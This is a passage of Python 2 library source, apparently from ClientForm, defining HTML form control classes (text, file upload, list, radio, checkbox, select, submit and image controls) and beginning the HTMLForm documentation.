mw2.addheader("Content-Disposition", 'form-data; name="%s"' % name, 1) f = mw2.startbody(prefix=0) f.write(value) def __str__(self): raise NotImplementedError() def get_labels(self): """Return all labels (Label instances) for this control. If the control was surrounded by a <label> tag, that will be the first label; all other labels, connected by 'for' and 'id', are in the order that appear in the HTML. """ res = [] if self._label: res.append(self._label) if self.id: res.extend(self._form._id_to_labels.get(self.id, ())) return res #--------------------------------------------------- class ScalarControl(Control): """Control whose value is not restricted to one of a prescribed set. Some ScalarControls don't accept any value attribute. Otherwise, takes a single value, which must be string-like. Additional read-only public attribute: attrs: dictionary mapping the names of original HTML attributes of the control to their values """ def __init__(self, type, name, attrs, index=None): self._index = index self._label = _get_label(attrs) self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") self.disabled = attrs.has_key("disabled") self.readonly = attrs.has_key("readonly") self.id = attrs.get("id") self.attrs = attrs.copy() self._clicked = False self._urlparse = urlparse.urlparse self._urlunparse = urlparse.urlunparse def __getattr__(self, name): if name == "value": return self.__dict__["_value"] else: raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, name)) def __setattr__(self, name, value): if name == "value": if not isstringlike(value): raise TypeError("must assign a string") elif self.readonly: raise AttributeError("control '%s' is readonly" % self.name) elif self.disabled: raise AttributeError("control '%s' is disabled" % self.name) self.__dict__["_value"] = value elif name in ("name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def _totally_ordered_pairs(self): name = self.name value = self.value if name is None or value is None or self.disabled: return [] return [(self._index, name, value)] def clear(self): if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self.__dict__["_value"] = None def __str__(self): name = self.name value = self.value if name is None: name = "<None>" if value is None: value = "<None>" infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s=%s)%s>" % (self.__class__.__name__, name, value, info) #--------------------------------------------------- class TextControl(ScalarControl): """Textual input control. Covers: INPUT/TEXT INPUT/PASSWORD INPUT/HIDDEN TEXTAREA """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) if self.type == "hidden": self.readonly = True if self._value is None: self._value = "" def is_of_kind(self, kind): return kind == "text" #--------------------------------------------------- class FileControl(ScalarControl): """File upload with INPUT TYPE=FILE. The value attribute of a FileControl is always None. Use add_file instead. Additional public method: add_file """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) self._value = None self._upload_data = [] def is_of_kind(self, kind): return kind == "file" def clear(self): if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self._upload_data = [] def __setattr__(self, name, value): if name in ("value", "name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def add_file(self, file_object, content_type=None, filename=None): if not hasattr(file_object, "read"): raise TypeError("file-like object must have read method") if content_type is not None and not isstringlike(content_type): raise TypeError("content type must be None or string-like") if filename is not None and not isstringlike(filename): raise TypeError("filename must be None or string-like") if content_type is None: content_type = "application/octet-stream" self._upload_data.append((file_object, content_type, filename)) def _totally_ordered_pairs(self): # XXX should it be successful even if unnamed? if self.name is None or self.disabled: return [] return [(self._index, self.name, "")] def _write_mime_data(self, mw, _name, _value): # called by HTMLForm # assert _name == self.name and _value == '' if len(self._upload_data) < 2: if len(self._upload_data) == 0: file_object = StringIO() content_type = "application/octet-stream" filename = "" else: file_object, content_type, filename = self._upload_data[0] if filename is None: filename = "" mw2 = mw.nextpart() fn_part = '; filename="%s"' % filename disp = 'form-data; name="%s"%s' % (self.name, fn_part) mw2.addheader("Content-Disposition", disp, prefix=1) fh = mw2.startbody(content_type, prefix=0) fh.write(file_object.read()) else: # multiple files mw2 = mw.nextpart() disp = 'form-data; name="%s"' % self.name mw2.addheader("Content-Disposition", disp, prefix=1) fh = mw2.startmultipartbody("mixed", prefix=0) for file_object, content_type, filename in self._upload_data: mw3 = mw2.nextpart() if filename is None: filename = "" fn_part = '; filename="%s"' % filename disp = "file%s" % fn_part mw3.addheader("Content-Disposition", disp, prefix=1) fh2 = mw3.startbody(content_type, prefix=0) fh2.write(file_object.read()) mw2.lastpart() def __str__(self): name = self.name if name is None: name = "<None>" if not self._upload_data: value = "<No files added>" else: value = [] for file, ctype, filename in self._upload_data: if filename is None: value.append("<Unnamed file>") else: value.append(filename) value = ", ".join(value) info = [] if self.disabled: info.append("disabled") if self.readonly: info.append("readonly") info = ", ".join(info) if info: info = " (%s)" % info return "<%s(%s=%s)%s>" % (self.__class__.__name__, name, value, info) #--------------------------------------------------- class IsindexControl(ScalarControl): """ISINDEX control. ISINDEX is the odd-one-out of HTML form controls. In fact, it isn't really part of regular HTML forms at all, and predates it. You're only allowed one ISINDEX per HTML document. ISINDEX and regular form submission are mutually exclusive -- either submit a form, or the ISINDEX. Having said this, since ISINDEX controls may appear in forms (which is probably bad HTML), ParseFile / ParseResponse will include them in the HTMLForm instances it returns. You can set the ISINDEX's value, as with any other control (but note that ISINDEX controls have no name, so you'll need to use the type argument of set_value!). When you submit the form, the ISINDEX will not be successful (ie., no data will get returned to the server as a result of its presence), unless you click on the ISINDEX control, in which case the ISINDEX gets submitted instead of the form: form.set_value("my isindex value", type="isindex") urllib2.urlopen(form.click(type="isindex")) ISINDEX elements outside of FORMs are ignored. If you want to submit one by hand, do it like so: url = urlparse.urljoin(page_uri, "?"+urllib.quote_plus("my isindex value")) result = urllib2.urlopen(url) """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) if self._value is None: self._value = "" def is_of_kind(self, kind): return kind in ["text", "clickable"] def _totally_ordered_pairs(self): return [] def _click(self, form, coord, return_type, request_class=urllib2.Request): # Relative URL for ISINDEX submission: instead of "foo=bar+baz", # want "bar+baz". # This doesn't seem to be specified in HTML 4.01 spec. (ISINDEX is # deprecated in 4.01, but it should still say how to submit it). # Submission of ISINDEX is explained in the HTML 3.2 spec, though. parts = self._urlparse(form.action) rest, (query, frag) = parts[:-2], parts[-2:] parts = rest + (urllib.quote_plus(self.value), None) url = self._urlunparse(parts) req_data = url, None, [] if return_type == "pairs": return [] elif return_type == "request_data": return req_data else: return request_class(url) def __str__(self): value = self.value if value is None: value = "<None>" infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s)%s>" % (self.__class__.__name__, value, info) #--------------------------------------------------- class IgnoreControl(ScalarControl): """Control that we're not interested in. Covers: INPUT/RESET BUTTON/RESET INPUT/BUTTON BUTTON/BUTTON These controls are always unsuccessful, in the terminology of HTML 4 (ie. they never require any information to be returned to the server). BUTTON/BUTTON is used to generate events for script embedded in HTML. The value attribute of IgnoreControl is always None. """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) self._value = None def is_of_kind(self, kind): return False def __setattr__(self, name, value): if name == "value": raise AttributeError( "control '%s' is ignored, hence read-only" % self.name) elif name in ("name", "type"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value #--------------------------------------------------- # ListControls # helpers and subsidiary classes class Item: def __init__(self, control, attrs, index=None): label = _get_label(attrs) self.__dict__.update({ "name": attrs["value"], "_labels": label and [label] or [], "attrs": attrs, "_control": control, "disabled": attrs.has_key("disabled"), "_selected": False, "id": attrs.get("id"), "_index": index, }) control.items.append(self) def get_labels(self): """Return all labels (Label instances) for this item. For items that represent radio buttons or checkboxes, if the item was surrounded by a <label> tag, that will be the first label; all other labels, connected by 'for' and 'id', are in the order that appear in the HTML. For items that represent select options, if the option had a label attribute, that will be the first label. If the option has contents (text within the option tags) and it is not the same as the label attribute (if any), that will be a label. There is nothing in the spec to my knowledge that makes an option with an id unable to be the target of a label's for attribute, so those are included, if any, for the sake of consistency and completeness. """ res = [] res.extend(self._labels) if self.id: res.extend(self._control._form._id_to_labels.get(self.id, ())) return res def __getattr__(self, name): if name=="selected": return self._selected raise AttributeError(name) def __setattr__(self, name, value): if name == "selected": self._control._set_selected_state(self, value) elif name == "disabled": self.__dict__["disabled"] = bool(value) else: raise AttributeError(name) def __str__(self): res = self.name if self.selected: res = "*" + res if self.disabled: res = "(%s)" % res return res def __repr__(self): # XXX appending the attrs without distinguishing them from name and id # is silly attrs = [("name", self.name), ("id", self.id)]+self.attrs.items() return "<%s %s>" % ( self.__class__.__name__, " ".join(["%s=%r" % (k, v) for k, v in attrs]) ) def disambiguate(items, nr, **kwds): msgs = [] for key, value in kwds.items(): msgs.append("%s=%r" % (key, value)) msg = " ".join(msgs) if not items: raise ItemNotFoundError(msg) if nr is None: if len(items) > 1: raise AmbiguityError(msg) nr = 0 if len(items) <= nr: raise ItemNotFoundError(msg) return items[nr] class ListControl(Control): """Control representing a sequence of items. The value attribute of a ListControl represents the successful list items in the control. The successful list items are those that are selected and not disabled. ListControl implements both list controls that take a length-1 value (single-selection) and those that take length >1 values (multiple-selection). ListControls accept sequence values only. Some controls only accept sequences of length 0 or 1 (RADIO, and single-selection SELECT). In those cases, ItemCountError is raised if len(sequence) > 1. CHECKBOXes and multiple-selection SELECTs (those having the "multiple" HTML attribute) accept sequences of any length. Note the following mistake: control.value = some_value assert control.value == some_value # not necessarily true The reason for this is that the value attribute always gives the list items in the order they were listed in the HTML. ListControl items can also be referred to by their labels instead of names. Use the label argument to .get(), and the .set_value_by_label(), .get_value_by_label() methods. Note that, rather confusingly, though SELECT controls are represented in HTML by SELECT elements (which contain OPTION elements, representing individual list items), CHECKBOXes and RADIOs are not represented by *any* element. Instead, those controls are represented by a collection of INPUT elements. For example, this is a SELECT control, named "control1": <select name="control1"> <option>foo</option> <option value="1">bar</option> </select> and this is a CHECKBOX control, named "control2": <input type="checkbox" name="control2" value="foo" id="cbe1"> <input type="checkbox" name="control2" value="bar" id="cbe2"> The id attribute of a CHECKBOX or RADIO ListControl is always that of its first element (for example, "cbe1" above). Additional read-only public attribute: multiple. """ # ListControls are built up by the parser from their component items by # creating one ListControl per item, consolidating them into a single # master ListControl held by the HTMLForm: # -User calls form.new_control(...) # -Form creates Control, and calls control.add_to_form(self). # -Control looks for a Control with the same name and type in the form, # and if it finds one, merges itself with that control by calling # control.merge_control(self). The first Control added to the form, of # a particular name and type, is the only one that survives in the # form. # -Form calls control.fixup for all its controls. ListControls in the # form know they can now safely pick their default values. # To create a ListControl without an HTMLForm, use: # control.merge_control(new_control) # (actually, it's much easier just to use ParseFile) _label = None def __init__(self, type, name, attrs={}, select_default=False, called_as_base_class=False, index=None): """ select_default: for RADIO and multiple-selection SELECT controls, pick the first item as the default if no 'selected' HTML attribute is present """ if not called_as_base_class: raise NotImplementedError() self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") self.disabled = False self.readonly = False self.id = attrs.get("id") self._closed = False # As Controls are merged in with .merge_control(), self.attrs will # refer to each Control in turn -- always the most recently merged # control. Each merged-in Control instance corresponds to a single # list item: see ListControl.__doc__. self.items = [] self._form = None self._select_default = select_default self._clicked = False def clear(self): self.value = [] def is_of_kind(self, kind): if kind == "list": return True elif kind == "multilist": return bool(self.multiple) elif kind == "singlelist": return not self.multiple else: return False def get_items(self, name=None, label=None, id=None, exclude_disabled=False): """Return matching items by name or label. For argument docs, see the docstring for .get() """ if name is not None and not isstringlike(name): raise TypeError("item name must be string-like") if label is not None and not isstringlike(label): raise TypeError("item label must be string-like") if id is not None and not isstringlike(id): raise TypeError("item id must be string-like") items = [] # order is important compat = self._form.backwards_compat for o in self.items: if exclude_disabled and o.disabled: continue if name is not None and o.name != name: continue if label is not None: for l in o.get_labels(): if ((compat and l.text == label) or (not compat and l.text.find(label) > -1)): break else: continue if id is not None and o.id != id: continue items.append(o) return items def get(self, name=None, label=None, id=None, nr=None, exclude_disabled=False): """Return item by name or label, disambiguating if necessary with nr. All arguments must be passed by name, with the exception of 'name', which may be used as a positional argument. If name is specified, then the item must have the indicated name. If label is specified, then the item must have a label whose whitespace-compressed, stripped, text substring-matches the indicated label string (eg. label="please choose" will match " Do please choose an item "). If id is specified, then the item must have the indicated id. nr is an optional 0-based index of the items matching the query. If nr is the default None value and more than item is found, raises AmbiguityError (unless the HTMLForm instance's backwards_compat attribute is true). If no item is found, or if items are found but nr is specified and not found, raises ItemNotFoundError. Optionally excludes disabled items. """ if nr is None and self._form.backwards_compat: nr = 0 # :-/ items = self.get_items(name, label, id, exclude_disabled) return disambiguate(items, nr, name=name, label=label, id=id) def _get(self, name, by_label=False, nr=None, exclude_disabled=False): # strictly for use by deprecated methods if by_label: name, label = None, name else: name, label = name, None return self.get(name, label, nr, exclude_disabled) def toggle(self, name, by_label=False, nr=None): """Deprecated: given a name or label and optional disambiguating index nr, toggle the matching item's selection. Selecting items follows the behavior described in the docstring of the 'get' method. if the item is disabled, or this control is disabled or readonly, raise AttributeError. """ deprecation( "item = control.get(...); item.selected = not item.selected") o = self._get(name, by_label, nr) self._set_selected_state(o, not o.selected) def set(self, selected, name, by_label=False, nr=None): """Deprecated: given a name or label and optional disambiguating index nr, set the matching item's selection to the bool value of selected. Selecting items follows the behavior described in the docstring of the 'get' method. if the item is disabled, or this control is disabled or readonly, raise AttributeError. """ deprecation( "control.get(...).selected = <boolean>") self._set_selected_state(self._get(name, by_label, nr), selected) def _set_selected_state(self, item, action): # action: # bool False: off # bool True: on if self.disabled: raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) action == bool(action) compat = self._form.backwards_compat if not compat and item.disabled: raise AttributeError("item is disabled") else: if compat and item.disabled and action: raise AttributeError("item is disabled") if self.multiple: item.__dict__["_selected"] = action else: if not action: item.__dict__["_selected"] = False else: for o in self.items: o.__dict__["_selected"] = False item.__dict__["_selected"] = True def toggle_single(self, by_label=None): """Deprecated: toggle the selection of the single item in this control. Raises ItemCountError if the control does not contain only one item. by_label argument is ignored, and included only for backwards compatibility. """ deprecation( "control.items[0].selected = not control.items[0].selected") if len(self.items) != 1: raise ItemCountError( "'%s' is not a single-item control" % self.name) item = self.items[0] self._set_selected_state(item, not item.selected) def set_single(self, selected, by_label=None): """Deprecated: set the selection of the single item in this control. Raises ItemCountError if the control does not contain only one item. by_label argument is ignored, and included only for backwards compatibility. """ deprecation( "control.items[0].selected = <boolean>") if len(self.items) != 1: raise ItemCountError( "'%s' is not a single-item control" % self.name) self._set_selected_state(self.items[0], selected) def get_item_disabled(self, name, by_label=False, nr=None): """Get disabled state of named list item in a ListControl.""" deprecation( "control.get(...).disabled") return self._get(name, by_label, nr).disabled def set_item_disabled(self, disabled, name, by_label=False, nr=None): """Set disabled state of named list item in a ListControl. disabled: boolean disabled state """ deprecation( "control.get(...).disabled = <boolean>") self._get(name, by_label, nr).disabled = disabled def set_all_items_disabled(self, disabled): """Set disabled state of all list items in a ListControl. disabled: boolean disabled state """ for o in self.items: o.disabled = disabled def get_item_attrs(self, name, by_label=False, nr=None): """Return dictionary of HTML attributes for a single ListControl item. The HTML element types that describe list items are: OPTION for SELECT controls, INPUT for the rest. These elements have HTML attributes that you may occasionally want to know about -- for example, the "alt" HTML attribute gives a text string describing the item (graphical browsers usually display this as a tooltip). The returned dictionary maps HTML attribute names to values. The names and values are taken from the original HTML. """ deprecation( "control.get(...).attrs") return self._get(name, by_label, nr).attrs def close_control(self): self._closed = True def add_to_form(self, form): assert self._form is None or form == self._form, ( "can't add control to more than one form") self._form = form if self.name is None: # always count nameless elements as separate controls Control.add_to_form(self, form) else: for ii in xrange(len(form.controls)-1, -1, -1): control = form.controls[ii] if control.name == self.name and control.type == self.type: if control._closed: Control.add_to_form(self, form) else: control.merge_control(self) break else: Control.add_to_form(self, form) def merge_control(self, control): assert bool(control.multiple) == bool(self.multiple) # usually, isinstance(control, self.__class__) self.items.extend(control.items) def fixup(self): """ ListControls are built up from component list items (which are also ListControls) during parsing. This method should be called after all items have been added. See ListControl.__doc__ for the reason this is required. """ # Need to set default selection where no item was indicated as being # selected by the HTML: # CHECKBOX: # Nothing should be selected. # SELECT/single, SELECT/multiple and RADIO: # RFC 1866 (HTML 2.0): says first item should be selected. # W3C HTML 4.01 Specification: says that client behaviour is # undefined in this case. For RADIO, exactly one must be selected, # though which one is undefined. # Both Netscape and Microsoft Internet Explorer (IE) choose first # item for SELECT/single. However, both IE5 and Mozilla (both 1.0 # and Firebird 0.6) leave all items unselected for RADIO and # SELECT/multiple. # Since both Netscape and IE all choose the first item for # SELECT/single, we do the same. OTOH, both Netscape and IE # leave SELECT/multiple with nothing selected, in violation of RFC 1866 # (but not in violation of the W3C HTML 4 standard); the same is true # of RADIO (which *is* in violation of the HTML 4 standard). We follow # RFC 1866 if the _select_default attribute is set, and Netscape and IE # otherwise. RFC 1866 and HTML 4 are always violated insofar as you # can deselect all items in a RadioControl. for o in self.items: # set items' controls to self, now that we've merged o.__dict__["_control"] = self def __getattr__(self, name): if name == "value": compat = self._form.backwards_compat if self.name is None: return [] return [o.name for o in self.items if o.selected and (not o.disabled or compat)] else: raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, name)) def __setattr__(self, name, value): if name == "value": if self.disabled: raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) self._set_value(value) elif name in ("name", "type", "multiple"): raise AttributeError("%s attribute is readonly" % name) else: self.__dict__[name] = value def _set_value(self, value): if value is None or isstringlike(value): raise TypeError("ListControl, must set a sequence") if not value: compat = self._form.backwards_compat for o in self.items: if not o.disabled or compat: o.selected = False elif self.multiple: self._multiple_set_value(value) elif len(value) > 1: raise ItemCountError( "single selection list, must set sequence of " "length 0 or 1") else: self._single_set_value(value) def _get_items(self, name, target=1): all_items = self.get_items(name) items = [o for o in all_items if not o.disabled] if len(items) < target: if len(all_items) < target: raise ItemNotFoundError( "insufficient items with name %r" % name) else: raise AttributeError( "insufficient non-disabled items with name %s" % name) on = [] off = [] for o in items: if o.selected: on.append(o) else: off.append(o) return on, off def _single_set_value(self, value): assert len(value) == 1 on, off = self._get_items(value[0]) assert len(on) <= 1 if not on: off[0].selected = True def _multiple_set_value(self, value): compat = self._form.backwards_compat turn_on = [] # transactional-ish turn_off = [item for item in self.items if item.selected and (not item.disabled or compat)] names = {} for nn in value: if nn in names.keys(): names[nn] += 1 else: names[nn] = 1 for name, count in names.items(): on, off = self._get_items(name, count) for i in xrange(count): if on: item = on[0] del on[0] del turn_off[turn_off.index(item)] else: item = off[0] del off[0] turn_on.append(item) for item in turn_off: item.selected = False for item in turn_on: item.selected = True def set_value_by_label(self, value): """Set the value of control by item labels. value is expected to be an iterable of strings that are substrings of the item labels that should be selected. Before substring matching is performed, the original label text is whitespace-compressed (consecutive whitespace characters are converted to a single space character) and leading and trailing whitespace is stripped. Ambiguous labels are accepted without complaint if the form's backwards_compat is True; otherwise, it will not complain as long as all ambiguous labels share the same item name (e.g. OPTION value). """ if isstringlike(value): raise TypeError(value) if not self.multiple and len(value) > 1: raise ItemCountError( "single selection list, must set sequence of " "length 0 or 1") items = [] for nn in value: found = self.get_items(label=nn) if len(found) > 1: if not self._form.backwards_compat: # ambiguous labels are fine as long as item names (e.g. # OPTION values) are same opt_name = found[0].name if [o for o in found[1:] if o.name != opt_name]: raise AmbiguityError(nn) else: # OK, we'll guess :-( Assume first available item. found = found[:1] for o in found: # For the multiple-item case, we could try to be smarter, # saving them up and trying to resolve, but that's too much. if self._form.backwards_compat or o not in items: items.append(o) break else: # all of them are used raise ItemNotFoundError(nn) # now we have all the items that should be on # let's just turn everything off and then back on. self.value = [] for o in items: o.selected = True def get_value_by_label(self): """Return the value of the control as given by normalized labels.""" res = [] compat = self._form.backwards_compat for o in self.items: if (not o.disabled or compat) and o.selected: for l in o.get_labels(): if l.text: res.append(l.text) break else: res.append(None) return res def possible_items(self, by_label=False): """Deprecated: return the names or labels of all possible items. Includes disabled items, which may be misleading for some use cases. """ deprecation( "[item.name for item in self.items]") if by_label: res = [] for o in self.items: for l in o.get_labels(): if l.text: res.append(l.text) break else: res.append(None) return res return [o.name for o in self.items] def _totally_ordered_pairs(self): if self.disabled or self.name is None: return [] else: return [(o._index, self.name, o.name) for o in self.items if o.selected and not o.disabled] def __str__(self): name = self.name if name is None: name = "<None>" display = [str(o) for o in self.items] infos = [] if self.disabled: infos.append("disabled") if self.readonly: infos.append("readonly") info = ", ".join(infos) if info: info = " (%s)" % info return "<%s(%s=[%s])%s>" % (self.__class__.__name__, name, ", ".join(display), info) class RadioControl(ListControl): """ Covers: INPUT/RADIO """ def __init__(self, type, name, attrs, select_default=False, index=None): attrs.setdefault("value", "on") ListControl.__init__(self, type, name, attrs, select_default, called_as_base_class=True, index=index) self.__dict__["multiple"] = False o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("checked") def fixup(self): ListControl.fixup(self) found = [o for o in self.items if o.selected and not o.disabled] if not found: if self._select_default: for o in self.items: if not o.disabled: o.selected = True break else: # Ensure only one item selected. Choose the last one, # following IE and Firefox. for o in found[:-1]: o.selected = False def get_labels(self): return [] class CheckboxControl(ListControl): """ Covers: INPUT/CHECKBOX """ def __init__(self, type, name, attrs, select_default=False, index=None): attrs.setdefault("value", "on") ListControl.__init__(self, type, name, attrs, select_default, called_as_base_class=True, index=index) self.__dict__["multiple"] = True o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("checked") def get_labels(self): return [] class SelectControl(ListControl): """ Covers: SELECT (and OPTION) OPTION 'values', in HTML parlance, are Item 'names' in ClientForm parlance. SELECT control values and labels are subject to some messy defaulting rules. For example, if the HTML representation of the control is: <SELECT name=year> <OPTION value=0 label="2002">current year</OPTION> <OPTION value=1>2001</OPTION> <OPTION>2000</OPTION> </SELECT> The items, in order, have labels "2002", "2001" and "2000", whereas their names (the OPTION values) are "0", "1" and "2000" respectively. Note that the value of the last OPTION in this example defaults to its contents, as specified by RFC 1866, as do the labels of the second and third OPTIONs. The OPTION labels are sometimes more meaningful than the OPTION values, which can make for more maintainable code. Additional read-only public attribute: attrs The attrs attribute is a dictionary of the original HTML attributes of the SELECT element. Other ListControls do not have this attribute, because in other cases the control as a whole does not correspond to any single HTML element. control.get(...).attrs may be used as usual to get at the HTML attributes of the HTML elements corresponding to individual list items (for SELECT controls, these are OPTION elements). Another special case is that the Item.attrs dictionaries have a special key "contents" which does not correspond to any real HTML attribute, but rather contains the contents of the OPTION element: <OPTION>this bit</OPTION> """ # HTML attributes here are treated slightly differently from other list # controls: # -The SELECT HTML attributes dictionary is stuffed into the OPTION # HTML attributes dictionary under the "__select" key. # -The content of each OPTION element is stored under the special # "contents" key of the dictionary. # After all this, the dictionary is passed to the SelectControl constructor # as the attrs argument, as usual. However: # -The first SelectControl constructed when building up a SELECT control # has a constructor attrs argument containing only the __select key -- so # this SelectControl represents an empty SELECT control. # -Subsequent SelectControls have both OPTION HTML-attribute in attrs and # the __select dictionary containing the SELECT HTML-attributes. def __init__(self, type, name, attrs, select_default=False, index=None): # fish out the SELECT HTML attributes from the OPTION HTML attributes # dictionary self.attrs = attrs["__select"].copy() self.__dict__["_label"] = _get_label(self.attrs) self.__dict__["id"] = self.attrs.get("id") self.__dict__["multiple"] = self.attrs.has_key("multiple") # the majority of the contents, label, and value dance already happened contents = attrs.get("contents") attrs = attrs.copy() del attrs["__select"] ListControl.__init__(self, type, name, self.attrs, select_default, called_as_base_class=True, index=index) self.disabled = self.attrs.has_key("disabled") self.readonly = self.attrs.has_key("readonly") if attrs.has_key("value"): # otherwise it is a marker 'select started' token o = Item(self, attrs, index) o.__dict__["_selected"] = attrs.has_key("selected") # add 'label' label and contents label, if different. If both are # provided, the 'label' label is used for display in HTML # 4.0-compliant browsers (and any lower spec? not sure) while the # contents are used for display in older or less-compliant # browsers. We make label objects for both, if the values are # different. label = attrs.get("label") if label: o._labels.append(Label({"__text": label})) if contents and contents != label: o._labels.append(Label({"__text": contents})) elif contents: o._labels.append(Label({"__text": contents})) def fixup(self): ListControl.fixup(self) # Firefox doesn't exclude disabled items from those considered here # (i.e. from 'found', for both branches of the if below). Note that # IE6 doesn't support the disabled attribute on OPTIONs at all. found = [o for o in self.items if o.selected] if not found: if not self.multiple or self._select_default: for o in self.items: if not o.disabled: was_disabled = self.disabled self.disabled = False try: o.selected = True finally: o.disabled = was_disabled break elif not self.multiple: # Ensure only one item selected. Choose the last one, # following IE and Firefox. for o in found[:-1]: o.selected = False #--------------------------------------------------- class SubmitControl(ScalarControl): """ Covers: INPUT/SUBMIT BUTTON/SUBMIT """ def __init__(self, type, name, attrs, index=None): ScalarControl.__init__(self, type, name, attrs, index) # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it # blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem # to define this. if self.value is None and not self.disabled: self.value = "" self.readonly = True def get_labels(self): res = [] if self.value: res.append(Label({"__text": self.value})) res.extend(ScalarControl.get_labels(self)) return res def is_of_kind(self, kind): return kind == "clickable" def _click(self, form, coord, return_type, request_class=urllib2.Request): self._clicked = coord r = form._switch_click(return_type, request_class) self._clicked = False return r def _totally_ordered_pairs(self): if not self._clicked: return [] return ScalarControl._totally_ordered_pairs(self) #--------------------------------------------------- class ImageControl(SubmitControl): """ Covers: INPUT/IMAGE Coordinates are specified using one of the HTMLForm.click* methods. """ def __init__(self, type, name, attrs, index=None): SubmitControl.__init__(self, type, name, attrs, index) self.readonly = False def _totally_ordered_pairs(self): clicked = self._clicked if self.disabled or not clicked: return [] name = self.name if name is None: return [] pairs = [ (self._index, "%s.x" % name, str(clicked[0])), (self._index+1, "%s.y" % name, str(clicked[1])), ] value = self._value if value: pairs.append((self._index+2, name, value)) return pairs get_labels = ScalarControl.get_labels # aliases, just to make str(control) and str(form) clearer class PasswordControl(TextControl): pass class HiddenControl(TextControl): pass class TextareaControl(TextControl): pass class SubmitButtonControl(SubmitControl): pass def is_listcontrol(control): return control.is_of_kind("list") class HTMLForm: """Represents a single HTML <form> ... </form> element. A form consists of a sequence of controls that usually have names, and which can take on various values. The values of the various types of controls represent variously: text, zero-or-one-of-many or many-of-many choices, and files to be uploaded. Some controls can be clicked on to submit the form, and clickable controls' values sometimes include the coordinates of the click. Forms can be filled in with data to be returned to the server, and then submitted, using the click method to generate a request object suitable for passing to urllib2.urlopen (or the click_request_data or click_pairs methods if you're not using urllib2). import ClientForm forms = ClientForm.ParseFile(html, base_uri) form = forms[0] form["query"] = "Python" form.find_control("nr_results").get("lots").selected = True response = urllib2.urlopen(form.click()) Usually, HTMLForm instances are not created directly. Instead, the ParseFile or ParseResponse factory functions are used. If you do construct HTMLForm objects yourself, however, note that an HTMLForm instance is only properly initialised after the fixup method has been called (ParseFile and ParseResponse do this for you). See ListControl.__doc__ for the reason this is required. Indexing a form (form["control_name"]) returns the named Control's value attribute. Assignment to a form index (form["control_name"] = something) is equivalent to assignment to the named Control's value attribute. If you need to be more specific than just supplying the control's name, use the set_value and get_value methods. ListControl values are lists of item names (specifically, the names of the items that are selected and not disabled, and hence are "successful" -- ie. cause data to be returned to the server). The list item's name is the value of the corresponding HTML element's"value" attribute. Example: <INPUT type="CHECKBOX" name="cheeses" value="leicester"></INPUT> <INPUT type="CHECKBOX" name="cheeses" value="cheddar"></INPUT> defines a CHECKBOX control with name "cheeses" which has two items, named "leicester" and "cheddar". Another example: <SELECT name="more_cheeses"> <OPTION>1</OPTION> <OPTION value="2" label="CHEDDAR">cheddar</OPTION> </SELECT> defines a SELECT control with name "more_cheeses" which has two items, named "1" and "2" (because the OPTION element's value HTML attribute defaults to the element contents -- see SelectControl.__doc__ for more on these defaulting rules). To select, deselect or otherwise manipulate individual list items, use the HTMLForm.find_control() and ListControl.get() methods. To set the whole value, do as for any other control: use indexing or the set_/get_value methods. Example: # select *only* the item named "cheddar" form["cheeses"] = ["cheddar"] # select "cheddar", leave other items unaffected form.find_control("cheeses").get("cheddar").selected = True Some controls (RADIO and SELECT without the multiple attribute) can only have zero or one items selected at a time. Some controls (CHECKBOX and SELECT with the multiple attribute) can have multiple items selected at a time. To set the whole value of a ListControl, assign a sequence to a form index: form["cheeses"] = ["cheddar", "leicester"] If the ListControl is not multiple-selection, the assigned list must be of length one. To check if a control has an item, if an item is selected, or if an item is successful (selected and not disabled), respectively: "cheddar" in [item.name for item in form.find_control("cheeses").items] "cheddar" in [item.name for item in form.find_control("cheeses").items and item.selected] "cheddar" in form["cheeses"] # (or "cheddar" in form.get_value("cheeses")) Note that some list items may be disabled (see below). Note the following mistake: form[control_name] = control_value assert form[control_name] == control_value # not necessarily true The reason for this is that form[control_name] always gives the list items in the order they were listed in the HTML. List items (hence list values, too) can be referred to in terms of list item labels rather than list item names using the appropriate label arguments. Note that each item may have several labels. The question of default values of OPTION contents, labels and values is somewhat complicated: see SelectControl.__doc__ and ListControl.get_item_attrs.__doc__ if you think you need to know. Controls can be disabled or readonly. In either case, the control's value cannot be changed until you clear those flags (see example below). Disabled is the state typically represented by browsers by 'greying out' a control. Disabled controls are not 'successful' -- they don't cause data to get returned to the server. Readonly controls usually appear in browsers as read-only text boxes. Readonly controls are successful. List items can also be disabled. Attempts to select or deselect disabled items fail with AttributeError. If a lot of controls are readonly, it can be useful to do this: form.set_all_readonly(False) To clear a control's value attribute, so that it is not successful (until a value is subsequently set): form.clear("cheeses") More examples: control = form.find_control("cheeses") control.disabled = False control.readonly = False control.get("gruyere").disabled = True control.items[0].selected = True See the various Control classes for further documentation. Many methods take name, type, kind, id, label and nr arguments to specify the control to be operated on: see HTMLForm.find_control.__doc__. ControlNotFoundError (subclass of ValueError) is raised if the specified control can't be found. This includes occasions where a non-ListControl is found, but the method (set, for example) requires a ListControl. ItemNotFoundError (subclass of ValueError) is raised if a list item can't be found. ItemCountError (subclass of ValueError) is raised if an attempt is made 